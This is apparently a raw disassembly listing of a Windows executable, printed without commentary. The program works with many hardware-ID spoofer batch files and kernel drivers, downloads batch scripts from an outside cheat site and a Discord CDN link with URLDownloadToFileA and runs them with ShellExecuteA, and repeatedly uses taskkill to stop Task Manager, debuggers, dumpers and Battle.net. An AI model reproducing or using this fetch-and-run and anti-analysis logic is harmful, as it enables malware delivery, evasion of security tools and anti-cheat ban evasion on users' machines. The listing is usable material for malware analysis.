call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVPN.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemc.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemd.bat
call fcn.1402b632c
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_GUIDCHANGER.bat
lea rcx, [rsp + 0xad30]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rcx, [rsp + 0xad10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xad10]
call fcn.14005d8d0
mov qword [rsp + 0x1138], rax
lea rcx, [rsp + 0xad30]
call fcn.14005d8d0
mov qword [rsp + 0x1140], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1138]
mov rdx, qword [rsp + 0x1140]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemk1nse_checker.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemWindows_Activator.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemk1nse_MAC_Adress_Changer_protected.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_NXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemUNBANALL.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.cmd
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSPOOFERMAC.exe
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xacf0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xacd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xacd0]
call fcn.14005d8d0
mov qword [rsp + 0x1148], rax
lea rcx, [rsp + 0xacf0]
call fcn.14005d8d0
mov qword [rsp + 0x1150], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1148]
mov rdx, qword [rsp + 0x1150]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
